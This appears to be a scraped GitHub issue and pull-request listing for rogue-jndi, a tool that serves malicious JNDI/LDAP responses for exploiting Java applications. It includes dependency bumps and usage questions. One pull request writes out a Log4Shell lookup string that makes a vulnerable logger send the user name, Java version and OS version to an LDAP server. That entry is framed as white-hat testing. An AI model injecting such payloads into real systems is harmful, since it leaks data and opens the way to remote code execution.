rogue-jndi

rogue-jndi copied to clipboard

Adds support for using pre-generated payloads (e.g. ysoserial) directly from a file.

putsi

a spelling mistake in artsploit.HttpServer

1

In ```case "/upload.wsdl"```, it should be ```xExportObject.jar``` **NOT** ```xExploitObject.jar``` in the xml which takes me hours to finally figure it out. Anywary, great work!

feihong-cs

Fixed #6 in upstream

1

wh1tenoise

### Motivation For testing Log4Shell information leakage attack vector with inputs such as `${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}` Suitable for usage with [log4shell-mitigation-tester](https://github.com/lhotari/log4shell-mitigation-tester/blob/master/README.md#exploiting-with-rogue-jndi). Strictly meant for white hat purposes and for understanding Log4Shell. ###...

lhotari

我使用dnslog是可以正常请求到包。但是我本地mvn3.6.1和jdk11.0.13使用了相同的方法但是无法成功，jdk高版本会导致这个问题吗？

Mayter

Pull Request To Add Jetty Gadget

2

Hello Veracode Reasearch, Please I don't know if you could add a gadget for jetty eclipse based systems ? Kind Regards, @abrahack .

abrahack

Hey. Wrote a simple Dockefile which might ease building and deploying rogue-jndi.

goncalor

Bumps org.apache.tomcat.embed:tomcat-embed-core from 8.5.61 to 8.5.93. [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a...

dependabot[bot]

Bumps [com.unboundid:unboundid-ldapsdk](https://github.com/pingidentity/ldapsdk) from 3.1.1 to 4.0.5. Release notes Sourced from com.unboundid:unboundid-ldapsdk's releases. UnboundID LDAP SDK for Java 4.0.5 We have just released the UnboundID LDAP SDK for Java version 4.0.5,...

dependabot[bot]

Bumps org.apache.commons:commons-text from 1.8 to 1.10.0. [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a...

dependabot[bot]